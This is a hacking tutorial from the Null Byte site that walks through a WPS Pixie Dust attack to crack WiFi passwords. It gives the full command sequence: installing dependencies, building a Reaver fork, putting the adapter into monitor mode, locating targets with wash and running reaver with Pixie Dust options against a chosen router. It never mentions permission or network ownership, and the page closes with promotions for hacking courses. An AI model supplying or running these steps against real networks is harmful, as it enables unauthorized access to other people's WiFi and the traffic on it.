How to Hack WiFi Using a WPS Pixie Dust Attack « Null Byte :: WonderHowTo

Long time reader, first time 'How To' poster. This tutorial has been highly requested. Here are the steps to perform a Pixie Dust attack to crack a WiFi password that has WPS enabled.Please note, this attack is very specific in nature. I've had a lot of success running this attack against Ralink and RealTek chipsets. And very spotty success against Broadcom chipsets. Thismight not workagainst all routers, but is definitely worth trying before using a brute force attack against WPSLet's Begin!!!Step 1: Download All DependenciesIt's important to download all dependencies from the repository before proceeding with the attack. Kali Linux includes some of these, but if you're using another flavor of Linux, it may not. So let's go through all of them.First, type into the terminal: apt-get updateThen: apt-get install build-essentialapt-get install libpcap-devapt-get install sqlite3apt-get install libsqlite3-devapt-get install pixiewpsI like to do each download individually as I've had issues in the past trying to download all at once.Step 2: Clone the GitHubThis attack works by using a fork of Reaver. We'll need to download, compile, and install the fork. Let's begin:git clonehttps://github.com/t6x/reaver-wps-fork-t6xStep 3: InstallationFrom your pwd, type...cd reaver-wps-fork-t6x/cd src/./configuremakemake installor 'sudo make install' if you're not logged in as 'root'Step 4: Monitor ModePut your interface into monitor mode using 'airmon-ng start {wireless interface}Check out our list of Kali compatible wireless networks.Image by SADMIN/Null ByteNeed a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.Step 5: Find a TargetThe easiest way to find a target with WPS enabled is'wash -i {monitor-interface}'Gather the BSSID and channel # for the router you want to attack. Make sure you have a strong signal before attempting this attack.Step 6: Launch the AttackOnce you have all the information, simply type in the following command:reaver -i {monitor interface} -b {BSSID of router} -c {router channel} -vvv -K 1 -fStep 7: Ta-Da!There's the password! Again, this attack won't work against all routers, but it is definitely more effective than a brute force attack (Pixie Dust: maximum 30 minutes vs Brute Force: minutes to DAYS!)If you're looking for a cheap, handy platform to get started working with the pixie dust attack, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Get started on the Kali Pi.Image by SADMIN/Null ByteGet Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThat's all for now!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Automate Wi-Fi Hacking with Wifite2How To:The Beginner's Guide to Defending Against Wi-Fi HackingApple AR:Pixie Enlists ARKit to Help You Find Your KeysHow To:Get WPA-WPS Passwords with Pyxiewps.How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Crack WPS with WifiteHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyNews:Pixie for iPhones Uses Augmented Reality to Help Find Your Lost Wallet or KeysHow To:Create a super sparkly pixie dust makeup look for HalloweenNews:New Pyxiewps Version Is Out.
